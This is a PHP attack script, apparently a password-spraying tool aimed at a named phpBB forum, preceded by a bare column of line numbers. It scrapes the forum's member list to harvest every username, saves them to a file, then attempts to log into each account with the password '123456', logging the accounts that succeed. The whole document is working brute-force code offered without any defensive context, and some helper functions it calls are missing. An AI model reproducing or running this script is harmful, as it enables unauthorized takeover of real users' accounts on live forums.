- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
- 72
define(hostname, 'http://phpbbforum.ru');
$file = './txt/users_phpbb.txt';
function get_users($data)
{
preg_match_all('!">(.*?)</a></b>!', $data, $users);
return $users[1];
}
function get_num_users($data)
{
preg_match_all('!">(.*?)</a></b>!', $data, $users);
return count($users[1]);
}
function get_num_pages($data)
{
preg_match('!">(\d{1,8})</a><form action!', $data, $num_pages);
return $num_pages[1];
}
function curl_header($url)
{
$ch = curl_init ($url);
curl_setopt($ch, CURLOPT_USERAGENT, useragent);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
function brut($url)
{
$data = curl_header($url);
$count = substr_count($data, 'Cookie');
if($count == 2)
return false;
else
return true;
}
function get_pages($num)
{
global $users_per_page;
for($i = 0; $i<$num; $i++)
$data .= req(hostname . '/memberlist.php?mode=posts&order=DESC&start=' . $users_per_page * $i);
return $data;
}
if(!file_exists($file))
{
$data = req(hostname.'/memberlist.php');
$users_per_page = get_num_users($data);
$num_pages = get_num_pages($data);
$pages = get_pages($num_pages);
$users = get_users($pages);
$fp = fopen($file, 'w');
$users = implode("\n", $users);
fputs($fp, $users);
fclose($fp);
}
$users = file_get_contents($file);
$users = explode("\n", $users);
$count = count($users);
$pass = '123456';
for($i = 0; $i<$count; $i++)
{
if( brut(hostname.'/login.php?username='.urlencode($users[$i])."&password=$pass") )
$good[] = $users[$i];
}
$fp = fopen("./txt/$pass.txt", 'a+');
fputs($fp, implode("\n", $good));
fclose($fp);
print_r($good);